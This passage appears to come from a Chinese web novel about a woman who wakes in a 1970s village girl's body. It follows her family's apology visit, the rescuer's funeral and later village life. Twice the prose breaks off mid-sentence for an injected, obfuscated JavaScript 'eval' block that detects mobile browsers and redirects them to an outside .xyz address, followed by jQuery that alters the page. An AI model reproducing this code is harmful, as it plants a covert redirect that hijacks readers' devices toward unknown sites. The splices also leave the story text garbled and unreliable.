“队长你怎么在门口等我们?”钟春生连忙迎上去,“我们来赔礼道谢的,怎么能劳动主家亲自迎接?” 钟颖跟着哥哥弟弟一起喊了人,叫了一声“李大伯伯”。 李明暗淡的目光只在钟颖身上一瞥而过,引着钟春生往家里走,“我也该和你们家赔个不是,昨儿他娘心急了些,跑到你家不是想要个什么交代,只是想问问到底是个什么情况……我也问过了不少人,当时好些人也看到了是我儿紧跟着跳河救人的,现在这样……也怨不得你家闺女。” 李队长家的房屋看着比钟家好些,是砖基土墙,下半部分的墙基用的是青砖,上半部分墙体是土胚,房顶铺的也不是茅草而是瓦片。四间屋子再加上做饭的锅屋和西南角的茅厕,院子里一口井一台石磨,像简化了的四合院,看着十分周正。 听到有人来家里,从厨房里钻出来的一个个子高挑的中年妇人,她眉眼要比寻常人深邃些,据说祖上有外族人血统,她一开口钟颖就听出了这人就是先前和她娘邓霞争吵的那人。 “你们来了啊。”刘红艳眼眶是经久未消的通红,说话间在身前的围裙上擦了下手,脸上勉力挤出个笑来,客套道,“还没吃饭吧?我正做着呢,一起吃点吧。” 说着刘红艳朝厨房里喊了一声,“老大家的、老二家的,再多煮上些饭。” 立刻从里面传来了接连两声回应。 邓霞连忙上前,“快不用忙活了,我们来把事情说清楚就回了,家里诚子他媳妇也已经做上饭了。” 院门另一侧的偏屋这时走出来一个年轻女人,脸色苍白,身型消瘦,她刚给弟弟床头的长明灯补了灯油。 邓霞余光看到,转头去看,认出对方的瞬间顿时有些惊讶,“柔妮儿也回来了,怎么瘦成这样?” 李柔是李霖时的姐姐,同样是同甘生产队走出去的出息孩子,弟弟是考大学考出去的,而姐姐则是嫁给了县城放映队支援农村、来乡下放映电影的放映员,一举“跃农门”嫁到了县城。 “昨天家里拍了电报,说……”李柔说着住了声。 白纸上寥寥几个黑字——「弟亡,速归」。 李柔至今想起来仍心惊肉跳。 略过这些不提,李柔只说,“娘我去帮大嫂二嫂,叔、婶子,你们快先去堂屋坐着吧。” 刘红艳拉着邓霞往正屋走,忍不住吐露了一句,“这妮子前阵子又落了一次胎,我也是见她回来才知道人居然瘦成了这副样子……” 邓霞惊讶的睁大了眼睛,压低声音,“怎么回事?这都第三回了吧?” 刘红艳神色郁郁,她通红的眼眶不只因为小儿子的身亡,还有女儿婚姻的不顺。 一行人进了堂屋,李明的大儿子李钢时和二儿子李荣时立刻找出几个凳子让钟家人坐下。 钟春生没有先坐下,而是直接把手里的鸡蛋放到屋中间的矮方桌上,又示意钟诚钟信兄弟俩把他们手里拿的东西也都放到桌上,满满当当堆成了小山。 “叔你这是做什么?”李钢时连忙拿起桌上的毛巾、黄酒就要塞回钟春生手里,“拿这么些东西干嘛?” 钟春生不接,只看向李明正色道,“你家四儿救了我闺女一命,我们一家子人都感激不尽。” 钟颖这个时候也从邓霞身后走出来,直面自己应该替原主承担的后果,她对着李家几人深深的鞠了一躬,郑重道,“对不起,都是因为我……总之,非常对不起!” 钟颖第一次感觉到语言是如此的匮乏,就算原主搭上了自己的命付出了过失害人的代价,但对于眼前这些死者的家属们,直面他们的悲痛,钟颖抿紧唇,仍觉得自己这句道歉十分轻飘飘的。 李明颤抖着手把烟袋锅里残留的烟丝磕到桌子上,一边伸手抓住钟颖的胳膊把她拉起身来,“这又怎么能怪你。” 深知真相的钟颖唇线更是绷直。 这时钟春生又再次开口,“老哥哥,我知道这些赔礼当然不足以弥补这份恩情,你家四儿是个出息孩子,他没了,不止你们当爹娘的难受、大家都觉得可惜……恰好我也有个出息儿子,所以,从今往后,我赔给你一个儿子,以后我家钟诚也算你家儿子。” “从明天开始,他下地赚的工分都像你家四儿一样算作你家的。” “不仅如此,以后他有一份孝顺给我家,就有一份孝顺给你家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448707|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 钟春生的几句话让堂屋里顿时安静了下来。 钟颖震惊的转头去看钟老爹,接着她的目光落到面色平静的钟诚身上,在这一刻突然窥见了他从军时的风姿,只见他正色道,“李霖时拿命换回了我妹的命,该有的孝顺、该有的赡养,以后我来替他做。” 钟颖愕然的又去看至今未出言反对的邓霞身上,显然一家子人早已商量好这种偿还恩情的方式。 可怎么会……用一个有出息的儿子去填女儿捅出来的篓子,这怎么可能?钟颖难以置信,就连现代的她爸都还会想要通过把她嫁给某个有为青年来换回自己失散二十七年的儿子。 啪嗒两滴水珠砸在屋子里的夯土地面上。 钟颖突然明白了嫂子苗素云的那句“爹娘还有你哥都会护着你的”,她也终于有实感的明白了原身为什么会被养成那样娇纵肆意的性格。 她真的被护的很好。 一直在一旁不声不响仿佛透明人的少年人也开口,“还有我,我哥不常回来,我替我哥那份,还我姐欠的恩情!” 钟颖视线模糊,却仍抬头看向钟信。 从未有过的,爱从四面八方像大雨般落下,钟颖就这样站着被淋了个透,水淋淋的,一滴一滴顺着她的下颌落下。 “哪里至于这样?”原本心里还有些不顺的刘红艳见钟家众人态度如此,那一丝的怨怪烟消云散,又去安慰钟颖,“又不怪你,还什么还。我们不抢你哥哥弟弟,快收一收这金豆子……” “四儿选择跳下河救人就应该为自己的行为负责,”李明看着不通人情,但其实是个很理智正直的人,看问题也很透彻,所以自始至终都没有怨怪过钟家人,“现在这样的结果也怪不得你们,自然也不需要还什么。春生啊——” 李明制止想要开口说什么的钟春生,“以后咱们两家多走动就是了,有什么忙多帮一帮,别再提什么赔个儿子给我这种浑话了。现在就有用得到你的地方,我家准备后天就给四儿办丧事,你知道的,未婚的年轻孩子只能在家停放三天……到时事情很多,还要你一家子过来搭把手。还有唢呐开路,这事只能靠你……” 钟春生立刻一口应下。 李明说的也不是客气话,就连相邻几个生产队有什么喜事白事的,也都是找钟春生,因为他就是干这个的。 乡村家家孩子多,只靠田间地头的搞生产是不够填饱一大家子人一年到头的肚子,于是头脑灵活些的人们纷纷做起了“副业”,赚些外快。 就以同甘生产队为例,有给孩子起名、算姻缘八字、讲家居风水的三姑婆,给年轻男女牵媒搭线、说和亲事的胡打听,刘强家的婆子会接生,还有盖房一条龙的刘家三兄弟…… 钟老爹则是另辟蹊径,年轻时主动找了师傅跟着学会了吹唢呐,干起了油水多的喜丧行业。喜事有婚宴、丧事同样也有白事饭,钟春生去一次没什么收入,但总能拿回来一些吃食菜肴,这也是钟诚从小就比其他孩子长得高壮、钟颖比其他同龄女孩要更圆润的原因。 两家人几句话商定好后天要做的事,时间已经不早了,钟家人很快就告辞离开。 走出李家堂屋时,钟颖险些一脚滑倒,还好有弟弟钟信一把抓住她胳膊把她扶住了。 钟颖站稳后才看清,原来刚刚她没留意踩到了一处泥泞。 “怎么了?”邓霞连忙转身走过来。 刘红艳也凑上前来仔细看了看,有些纳闷,“奇怪,这些日子也没下雨,院子里的地都是干的,怎么这块地上湿了一块?” 被洇湿的地方只有大概二三十厘米的大小,哪里会有乌云只下这么一点地方的雨呢?众人都觉得奇怪的四下看着。 李家老二李荣时指着不远处墙边的一个木桶,“应该是不知道谁刚刚把木桶放这边,溢出来的水把地弄湿了吧。” 这一小插曲没有在众人心里留下一丝的痕迹。 回到家后,苗素云把温在锅里的饭菜铲出来,饭桌上一家人又说了好一会儿后天要做的事。 深夜,躺在床上,夏夜的燥热让钟颖不禁想念起了现代时的空调,但当下的这个年代、在这个小山村里,也不是全然没有半分的好。 回想起家人们的维护,钟颖把手枕在脑袋下面,望着黑暗中看不清晰的茅草屋顶,穿越之后她其实一直有种游魂般的感觉,努力适应着另一份的记忆、适应着新的环境,但直到此刻,她才终于有一种扎根下来、落地的实感。 真实又梦幻。 4. 山神保佑 才睡了两天的懒觉,钟颖就又在天色还暗沉的时分被拉起了床。 钟颖迷迷糊糊的跟在她娘的身后,“非得这么早去吗?不是说等天亮了再去李家帮忙吗?而且怎么就咱娘俩?爹和钟诚、钟信呢?” “咱们先去山神庙拜拜,还有,别老是叫你哥大名,没大没小的。”邓霞说着,扭头就见闺女游魂似的,半阖着眼跟在她身后。 邓霞只能把挎着的篮子挪到另一边胳膊上,空出手来去拉着钟颖,忍不住嗔怪一句,“这么大的姑娘家了,怎么还能像个小孩一样闭着眼走路?也不怕摔着磕破了脸!” 对此钟颖的反应是彻底把眼睛闭上了,反正有她娘拉着,她肯定摔不着。 生产队每日清晨的哨声还未响起,村子里大多数人都还在睡梦中,乡间小道上很是寂静,没过多久,母女俩就走到了村子后面。 等到停下脚步,钟颖才睁开眼睛想要看看她娘这是带自己到了哪儿,入目是一栋青石垒成的房子,颇为气派,好似哪户大户人家的宅院府邸,只不过头顶的牌匾上写的不是“某某府”,而是“山神庙”。 邓霞见女儿仰头看着“山神庙”三个字目不转睛的样子,忍不住暗暗发笑,“怎么每回来都像被迷住了一样,看得转不动眼。” 说完,邓霞先一步迈过高高的门槛,走进了庙里。 山神庙外面气派,里面却不算大,也就比寻常人家的堂屋再稍大些,庙里没有人,但山神的泥胚塑像被维护得干净整洁,山神泥像前面摆着一张供桌,香炉里插着不计其数燃尽的香把子,足以看出村民们对其的信奉。 邓霞放下胳膊上挎着的草编篮子,把里面准备好的香、两个果子拿出来,一边说着,“听说盘坡口生产大队把他们村子里的药神庙铲了,可真是不敬哟,这般忘事,也不怕以后队上人们生病遭报应……” 盘坡口生产大队比坐落在深山里的同甘生产队离公社更近,因此也更能响应上方的风云变幻,所以才受时事影响铲平了村子里的药神庙。 药神庙原本叫姚神庙,供奉的其实不是神仙、佛祖,而是很早以前盘坡口村的一位姚姓中医,十里八乡的救人无数。在其死后,人们为其建了庙,上百年传下来便被人念成了药神庙。 同甘生产队的山神庙与药神庙相似又不相同,山神庙里的的确确供奉的是颖山山神,但同样的,村民们认为山神对他们有救命之恩。 山神庙之所以看上去像某户大户人家的宅子,因为它原本就是。 早年间有陈姓富商为避战祸举家搬迁,辗转多地,最终看中了颖山山脚下的这个小村子。同甘村依山傍水,却地处深山,交通不便,但这点对于想要避祸的陈姓富商却是再好不过了。 陈姓宗族加上带来的奴仆有近百人,主家霸道的赶走了当地的村民,将他们撵去了六里外的山沟沟里,这也就是砬弯沟村的前身,而颖山山脚下便成了陈家村。 深山僻壤,陈姓一族宛如土皇帝般,在此世代为仆、饱受压迫的人们不禁日夜祈祷起没有人性的主家遭报应,没想到有一年暴雨后,自颖山上奔腾而下一场泥石流,居然真的顺应民心,不偏不倚带走了村子里所有陈姓族人。 翻身的奴仆们雀跃不已,从此深信山神庇佑,灾后把原本的陈宅收拾出来,重建成了山神庙。并且将村子改名为同甘村,不仅是因为毗邻甘霖河,也有大家共同吃过苦、希望往后的日子只会同甘的美好愿景。 钟颖回想着记忆里原身小时候听村子里三姑婆讲古时说着的这些,一边忍不住在心里默默吐槽,好家伙,原来她穿成的还是个“家生子”。 不过就算没有那场泥石流,打地主也会让村民们翻身的。 不信鬼神的钟颖暗自腹诽,不如感恩国家,感恩社会主义,毕竟不是每个村子都能那么幸运有天灾把剥削的地主们一波带走。 但显然邓霞更感恩山神,不过一会儿的功夫她已经上好了香,摆好了供品。 “还傻站着干嘛?”邓霞拉了一把钟颖,“快跪下磕头。” 钟颖只好跟着跪在供桌前的蒲团上。 “山神娘娘保佑,”邓霞双手合十,闭目很是虔诚的念着,“都说出殡时去世的人会魂魄归家,山神娘娘保佑我闺女不要被鬼魂缠上,保佑平平安安的送走他……” 钟颖听着她娘口中念叨着话,心里不由得升起一阵恐惧。 这时候乡村的人们大多如邓霞这般,思想落后、愚昧,如果她被发现不是原本的钟颖,那么等待她的会是什么?像中世纪烧死“女巫”那样吗? 钟颖忍不住抬头看向垂目慈悲的泥胚神像,她恐惧的不是神鬼,而是人。 在俯身叩首的这一刻,钟颖拜的不是神,而是直面她自己。 钟颖突然发现她和原身也没什么两样。 她同样卑劣的想要占有不属于自己的东西。 她不想再次死去,也不想失去现在的家人。 —— 离开山神庙后,邓霞带着钟颖直接去了李家,正好赶上炮仗被点燃,噼里啪啦的,极为霸道的打破清晨的宁静,这是为了让乡亲们知道今天出殡的事。 李明抱着一个公鸡,带着长子李钢时和帮忙一起来刨坟坑的钟诚,三人一起上了颖山,半山坡的背阴处就是村子人们去世后的安葬地。 钟春生则去了甘霖河下游的砬弯沟生产队,找那里的纸匠拿扎好的纸钱、纸人和车马。 邓霞同刘红艳忙着做白事饭,钟颖则跟着李家女儿李柔和她的丈夫钱明一起招待着陆陆续续过来吊唁的乡亲们。 苗素云把儿子拜托给了相熟的年轻媳妇范大妮帮忙照看,她则和李家二儿媳聂金凤一起把白麻布撕扯成一条条的样子,这是等下人们要系在腰上的。未婚子女去世不会大办丧事,父母亲人也不用穿孝,只腰间系一条白布条就已经是心意了。 这年头孩童夭折率高,大多不会为其专门办葬礼,只有在独子或是成年儿子去世的情况下才会办个简单的丧事,像今天愿意过来吊唁的村民们,也是真的为李霖时这个大好青年的逝世而哀伤。 偏屋原本李霖时的屋子里,钟信面色有些发白,仍坚强的帮忙递着衣服、鞋子。 李荣时伸手接过,瞥了一眼才到自己肩头高的少年人,再一次忍不住劝道,“我自己来就行,你快出去吧。” 钟信摇摇头。 李荣时拿他没辙,只好不管这孩子,自己继续帮躺着的弟弟换上一身崭新的衣裳。 躺在木床板上的人被河水泡得肤色青白,带来一种非人的诡异恐怖感,钟信看着心里直发怵,李荣时却无知无觉似的,只顾着给弟弟换上一身干净整洁的衣服,动作间再次悲从中来,忍不住带着哭腔唤了一声,“弟啊——” 而斜对角另一边的屋子里,李家大儿媳田梅避开其他人,双手按在自己六岁大的儿子李光宗肩膀上叮嘱着,“你小叔没结婚没孩子,你是家里的长孙,是他的侄子,为他摔瓦也是应该的。” 李光宗昂起下巴,“我知道,爹都和我说了,长子摔瓦、继承家产,所以小叔的东西以后都是我的,隔壁的新房子以后也是我的!” 田梅一哽,一阵无言。 这话虽然听着不像话,但也不算说错。隔壁房子是三月李明接到儿子毕业后要回乡的书信就开始打地基,为的就是小儿子回来后成家立业;这个月才刚铺好屋顶的瓦片、装上了门窗,只差刷墙、定家具了,本想等过了“三夏”农忙这段时间就让媒婆胡打听帮忙相看起来,结果就发生了惨痛的意外。 隔壁那房子空置下来,未来确实很有可能会是自己儿子的。 这样想着,田梅便也没纠正儿子的话,只继续叮嘱需要注意的事项,“等会儿出殡前,你奶、你姑、你大伯娘和我都会哭灵,我们女人哭得越大声越好,你别害怕,只记得自己要做的事情就行。走出院门,你站在门口,等你爹给你递瓦片,然后往地上一摔……” 日上三竿,诸事备齐,刨坟坑的回来了,纸扎品也都拿过来了。大锅台上冒着蒸蒸白气,起锅开饭,白事饭没有什么荤腥,普普通通的大锅菜加了些粉条、豆腐,每人再来上个蒸棒子面窝窝头,田间地头上的人不挑,吃饱肚子就是幸福。 钟春生回来也没歇下,先从一堆纸扎品中翻找出“左钱”,按照男左女右的规矩挂到李家大门的左侧。 “左钱”是用草纸裁成三寸宽、三四尺长的纸条,逝者活了多少岁就把多少张纸条扎在一起做成“左钱”。白纸条被风吹得簌簌作响、上下翻飞,如果仔细数,会发现正正好好二十二张。 “他爹快吃点东西垫垫肚子,等会儿还有你忙的。”邓霞端着一大碗菜,说着把另一只手上的窝窝头塞给钟春生。 钟春生脸上不禁露出了个笑。 这一幕戳痛了男人堆里一人的眼。 赖混子忍不住对其他生产队的男人们使眼色,让他们往那边看,“没见过这么上赶着帮忙的,要是李家小子没死,两家结成儿女亲家也就算了,现在钟老二家上上下下上赶着帮忙算什么?真显摆着他们了,舔队长的脚面子舔成这样,人刘强还是队长的小舅子呢,也没见他一家子这样冒尖。” 其他男人显然对赖混子的碎嘴习以为常,这人是生产队里的老光棍,没爹没娘没媳妇没孩子,无牵无挂的,嘴上没个把门,比田间地头的妇人话还多。 聂金凤她哥聂金龙埋头吃饭,“这不是因为李四救了钟家小妹的命吗,他家这样忙前忙后也是应该的。” 另一个小眼睛的中年男人范五则是反问道,“说起来赖混子你不还和队长是表兄弟吗?咋也没见你过来之后搭把手?” 还有不嫌事大的,赖混子说话时只顾着一时痛快,没留意这一桌还坐着两个姓钟的。 钟春生的大哥钟秋收仿佛什么都没听到,倒是他儿子钟拴柱直接朝隔壁桌的刘强喊话,“强伯伯,赖混子说你是队长亲家,今天也不帮忙!” 他声音足够响亮,不止刘强听到了,刘强的几个儿子都听到了,另一边女桌刘强他媳妇、儿媳妇、女儿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448708|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到了,所以也可以说,所有人都听到了。 众人的目光齐齐看向赖混子,他那张邋遢油腻的脸上顿时涨得通红,“我不是这个意思!” 个放阴招的小兔崽子!他明明说的是钟老二一家子上赶着! 刘强懒得搭理这个比女人还嘴碎的家伙,公道自在人心,他过来后又不是真的什么事情都没帮着做。 刘强他媳妇林淑红也顾虑着现在正操办着队长儿子的丧事,她不好节外生枝,按住怒起的女儿刘喜梅,只对着赖混子啐骂了一句,“你早晚得死在你这张嘴上!” 赖混子还想再辩驳几句,被走过来的李明抢声说道,“真对不住,因为我家这点事耽误大家伙搞生产了。” 他上来就是一句道歉,这让其他人连忙把瓷碗里最后那点粉条豆腐三两口吃完。 “说啥耽误啊,也就半天时间,正好大家喘口气,也连着干了好些日子了。”范五说话周全,里外都不得罪人。 钟秋收这时才出声,“队长说的什么外道话,我们这些叔伯看着孩子长大的,这时候来送最后一程也是我们的心意。” “行,那我也不和大家伙客气了。”李明招呼着,“都吃完没?吃完我们准备走了——” 吃完饭才能出殡,而出殡的时间也有讲究,年龄越大出殡的时间就相应的可以晚些,像李霖时这样的年轻人,父母尚在世,则要在中午之前出殡。 李光宗按照他爹李钢时的指示,在李家门口用力朝黄土地掷瓦片;李荣时点燃纸扎的车马,黑灰翻飞,轻轻飘向半空中;生产队里的精壮男人们同钟诚一起木床板连着人一起抬进棺材里,再七手八脚的协力抬上门口的牛车上,老黄牛从鼻子喷出一口气,抬起蹄子动起来。 唢呐一声尖锐仿佛直冲云霄,曲调凄厉,紧跟着牛车的刘红艳不再压抑自己的情绪,放声大哭起来,“儿啊……我可怜的儿啊……我家四儿啊……” 李柔搀扶着哭到没力的娘,也跟着为英年早逝的弟弟抹眼泪。 乐声与哭嚎声交织在一起,让人听得揪心。 钟颖走在吊唁的队伍里,忍不住握紧了邓霞的手臂。 不过好在为了赶时间,送殡的队伍行进得很快,没多久就穿过村子,一行人上了颖山。 背阴的半山坡上矗立着一个个鼓起的坟包,还有一个已经挖好的坟坑,黑洞洞的,仿佛土地张开了嘴,冷眼旁观着人们的动作。 男人们簇拥在前方,各个使出浑身力气,或是肩背麻绳,或直接上手去抬,一齐喊着号子从牛车上卸下棺材,再慢慢送入坟坑。 钟颖被人群隔在外围,只远远看着棺木消失在土坑里,接着被东一铲西一铲的填土掩埋,直到完全恢复土地原本的样子。 钟颖突然有种尘埃落定的感觉,穿越以来原主留下的烂摊子到此也算是终于是要画上句号了。 等到把土填到略高出地面,李明停下动作,出声阻止身旁卖力的人们,“好了,好了,剩下的留到圆坟再填吧。” 丧礼这就算是结束了,之后的“圆坟”和烧“一七”、“三七”、“五七”纸,就是李家人的事情了。 乡亲们收拾东西,把带来的铁铲等工具带下山去。 钟颖也准备跟着其他人离开,转身前余光看到刘红艳从一旁的柳树上别下了一段柳枝,接着又缠上了一条白麻布,插到了微微隆起的坟包上。 “这是留记号?”钟颖压低声音,好奇的询问旁边的邓霞。 邓霞瞥了一眼就迅速收回目光,声音很小,“什么留记号,柳枝招魂,这是为了能让去世的人能够入土为安,顺利抵达地下,能够早日投胎。” 钟颖闭嘴了,又是这些迷信思想。 邓霞深信其道,又叮嘱女儿,“还有,下山的时候别回头看。” “哦。”钟颖左耳朵进右耳朵出,她又不信这些。 一行人又浩浩荡荡的下了山,然后各自归家,回去再吃顿午饭就要赶去田间继续挣工分。 钟家的大门出现在视线的尽头,钟颖这时不知怎的突然很想向后看一眼,身随心动,她也这么做了。 从远处看颖山,山野笼罩在浓墨般的绿色中,透过夏日茂盛的枝叶只能隐隐看到那一个个坟包,好似有个黑影站在那边,还有人没下山吗? 钟颖眯了下眼,想要看得更清楚些。 “娘没和你讲不能回头看啊。” 随着声音,一只手按住钟颖的脑袋,钟诚毫不客气的把妹妹的头扭转回去。 钟颖顿时忘记什么人影,急道,“你自己多大手劲自己不知道啊?我脑袋都快让你拧下来了!” 和钟春生一起走在前面的邓霞立刻一个眼刀子飞过来,“呔!这时候能说这种话吗!这么大的人了,一个两个还没有你们弟弟让人省心!” 被骂了的钟颖、钟诚老实了,顿时学着弟弟钟信的样子安静如鸡。 颖山上,柳树下,影影绰绰有一道看着修长挺拔的身影站在树荫下,正居高临下的望着山脚的村落。 5. 现世现报 丧礼后,除了手臂上裹了一圈黑布的李家人,同甘生产队的其他村民已经回到他们原本的生活节奏,继续他们平淡又充满田园气息的生活。 “姑,到你了!” 钟国强一双大眼十分明亮的抬头看过来。 钟颖从放空的状态中回过神来,她低头看了一眼地面,拿着根小木棍在画好的井字格右上角画了个叉。 钟国强立刻低下头,鼓着小脸苦思冥想起来。 钟颖百无聊赖的继续发呆,她这些日子都没有上工,钟诚一个顶她两个,就是字面意思。 原本的钟颖只愿意做些轻体力活,一天能挣六个工分就不错了;而她哥钟诚直接拉满,专挑强体力活,把一天的十二个工分挣足。 虽然李家说了不用,但钟诚还是把他一天劳作挣来的工分一半记给李家,一半则记在他妹钟颖名下。 钟颖这几天过得这么清闲无聊,每天要做的事情就只有看看孩子、喂喂鸡,一方面是有钟诚替她,另一方面也有她娘邓霞怕钟颖惹了别人的眼,怕生产队里会有人提起什么“救人的没了命、被救的这才几天就活蹦乱跳了,这都叫什么事啊”之类的话。 至于为什么钟老二家闺女明明在丧礼上还能帮忙搭把手、之后又“撞着石头的脑袋还没好、一动就头晕恶心”上不了工,同甘生产队的众人对此也不深究,反正工分各人赚了归各家,不是先前吃大锅饭的时候了,人闺女她爹娘、哥哥愿意惯着就惯着,反正只要不是他们家的媳妇就行。 钟国强小手挠着脑袋,绞尽脑汁想了半天,犹豫着在第二行右边那格画了个圆。 钟颖一直等着,见状,紧接着在井字格左上画了个叉,第一行倏时三个叉连作一排。 战局转息间结束。 钟国强小朋友嘴一瘪,好在还记得他爹说的男儿有泪不轻弹,才没有掉下来金豆豆,只委委屈屈的说,“我又输了……” “啊。”钟颖发出无意义的应声,换了一只手撑着脸出神。 换做现代的她可能还会故意让下小朋友,但钟颖现在为了不崩“人设”,只能对不住了,国强。原本的钟颖可不知道什么是“让”。 原主留下的烂摊子告一段落,钟颖的生活也像同甘生产队上的其他人一样慢慢回到原本的轨迹,她一面留意着自己的言行举止不要脱离原主的性情习惯,一面越来越适应在这小山村的生活。 任性是种权利。 原本的“钟颖”可以肆意挥霍行使,而钟颖却是从未拥有过这种权利的小孩。 虽然现代的她活像是“别人家的小孩”,父亲是外贸公司的经理、母亲则全职照顾家里,钟颖本人又从小成绩优异,知名艺术院校本硕连读,一毕业就进入了游戏大厂工作,仿佛是按照优秀家庭模版的设定。 但花团锦簇的背后是一团乱麻。 父亲是npd人格,因为只能有一个的孩子是个女孩,他便把教育孩子的责任全部甩手给妻子,一旦钟颖有哪里做得不好,他就会指责钟颖她妈不会教育孩子。 钟颖为了不让自己成为父母争吵的导火索,只能拼命卷自己,她必须在每一场考试中名列前茅,她必须考上最好的学校、入职最好的的公司。 可钟颖她爸仍然觉得这些都不如公司酒局上的那些吹捧让他更有成就感。 总是缺席的父亲,被困在家庭的母亲,钟颖被迫承担起了很多本应该她爸来做的事情和应该提供的情绪价值。 不仅要做父母争吵时的调解员,还要做这个家庭精神上的“丈夫”,钟颖明明才二十七岁的年纪,却已经深陷在婚姻生活的泥潭中这么多年,她哪里有什么可以任性的权利呢,她必须是懂事的女儿。 钟国强趁他姑没看到,伸手快速抹掉眼泪,用脚把地上的井字格擦掉,握着小木棍重新画了一个棋盘,重振旗鼓,“再来一局!” 钟颖懒洋洋的随便挑了其中一格画了个叉。 不用为了满足谁的期待当卷王,也不必被生活揉搓成懂事女儿,钟颖觉得现在的生活也不错,虽然生活条件是比不上现代,但可以做个任性的咸鱼。 在努力贴近原主性情的同时,钟颖有种释放天性的感觉,像是那些曾经被磨平的棱角再次生长出来。 “汪汪——” 大黑狗红糖从门边的狗窝里钻出来,朝着院门狂吠起来。 钟颖看过去,突然觉得比起高高在上、虚无缥缈的山神娘娘,看门狗其实更像是人们的守护神,恪尽职守的守护着这座小小的院落,那碎砖、石块垒成的的狗窝仿佛小小的神龛,每一餐的喂食是人们对其的供奉。 没一会儿邓霞的声音在门外响起,钟颖抬头看了一眼天上的日头,这是她娘从地里回来做晌午饭了。 钟颖拉开自家大门,就见一对纤瘦的母女正巧走到钟家门口。 那年轻女孩看到钟颖顿时眼睛一亮,喊了一声,“颖姐,你好些了吗?” 年长些的妇人眉头一皱,上手拽了一把女儿,没好气的说,“回去做饭了,地里你爹你三妹小妹都还等着呢。” 女孩被她娘拽着走,两人很快进了钟家隔壁的房子。 后一步回来的邓霞也看到了刚刚那幕,只撇了下嘴,招呼钟颖进门,一边奇怪的看了一眼她的头发,“怎么把头发梳成这样?” “这样凉快。”钟颖真实年龄都二十七岁了,像原身那样扎了几天的麻花辫她就受不了这种装嫩的行为,今天就随手盘了个低丸子头,同时也是小小的试探着改变。 “只有嫁了人的媳妇才盘头发,黄花大闺女哪有扎这样发型的,别人不知道还以为你这是铁了心的要给李家小子当未亡人,给他守着。”邓霞皱眉说着,越说越觉得晦气,撵着闺女,“快拆了去重新梳!” 钟颖无奈,只好回屋重新梳了两个麻花辫。 家家户户飘起炊烟,虽然养出了个好吃懒做的闺女,但邓霞本人是个麻利的干活好手,她把从自家房子后面那一分自留地里种的萝卜切成块,再打上两个今早从鸡窝摸的鸡蛋,炖了一大锅。 等出锅的这段时间邓霞也没空着,用粗面做了饼子在大口锅的上沿贴了一圈,这样连炖带烙,极有效率的做好饭菜和主食。 “你过了年去就要嫁人了,我和你讲,少去和隔壁那老姑娘来往,别让周家窝窝生产大队里你未来婆家的人以为你和她是一样的人!” “娘你这么大声干嘛,快别讲了,做饭吧……” 钟家厨房贴着院墙而建,所以隔壁母女的说话声很清楚的传了过来。 钟国强还不懂什么叫找婆家、老姑娘,只眼巴巴的盯着灶台上的锅,被蒸腾溢出的饭香味馋得直咽口水。 钟颖则是看了一眼邓霞。 邓霞像是习惯了一般,神色平静的继续做着她的事,“当她放屁,别听。” 钟颖点点头,她从原身的记忆中也能看出,自家和隔壁称不上是什么和睦相处的邻里,像这样的指桑骂槐平日里多了去了。 至于两家的梁子是从什么时候结的,钟颖没有从记忆中找到答案。 “娘,咱家到底和隔壁范家怎么闹成现在这样的?”钟颖好奇的问。 邓霞掀开锅盖珍惜的加了一小撮盐,回想起两家的梁子,她忍不住翻了个白眼,没好气地说,“十七、八年前的事了,那时候你才多大,能有三、四岁吗?肯定不记得了……” 因为足够印象深刻,邓霞仍然清晰的记得当时发生了什么。 “隔壁你范五叔和你爹前后脚成的家,两家孩子也差不多时间出生。”邓霞说着,“范家大妮儿和你哥同岁,二妮也就比你小一岁。” 刚刚和钟颖打招呼的女孩就是范二妮。 “我连着生了你们兄妹俩伤了身子,而你范五婶很快又生了第三个闺女。”邓霞又拎起锅盖,把锅沿上的饼子一个个翻了个面,“你刚刚也听到了,两家有个动静听得一清二楚的,我那时候时不时就能听到隔壁范五骂他媳妇给他生的都是闺女的声音,说他老范家要绝户了。” 说到这儿,邓霞忍不住啐了一口,“别看你范五叔对外跟个好人似的,谁也不得罪,没人说他不好,我邓霞偏就觉得这男人不是个好东西!看吧,天天找事说这说那,现世现报,真成绝户了吧!” 隔壁范家一共有五个孩子,全是女儿,除去排行第四的早夭,其他的女儿都健康长大了。 如果是原本的钟颖,听这话可能没觉得哪里不对,毕竟她生长在这个年代,受这个年代的思想影响。 但来自新时代、有着新脑子的钟颖忍不住就邓霞话中的一点提出异议。 “生闺女怎么能叫绝户,要我看……”钟颖想起前些日子葬礼上的小插曲,想起一人来,“要我看,要说绝户,赖混子才是真正的绝户吧。” 邓霞一下子愣住,仔细一想,嘿,好像还挺对。 闺女嫁了人还能有外孙,怎么不算一滴血脉留存下来,像赖混子那样,都四十多岁的年纪了还在打光棍,这辈子也就这样了,等他老死连个给他烧纸的人都没有,还真是名副其实的绝户。 钟颖心中的疑惑还没得到解答,催促她娘把歪掉的话题掰回来,“所以咱家到底和隔壁结的什么仇怨啊?” 邓霞从思考中回过神来,接着说道,“我看她聂英日子过得也不容易,一些小打小闹的泛酸话我也不和她计较,但她那回说得实在是太过了。” 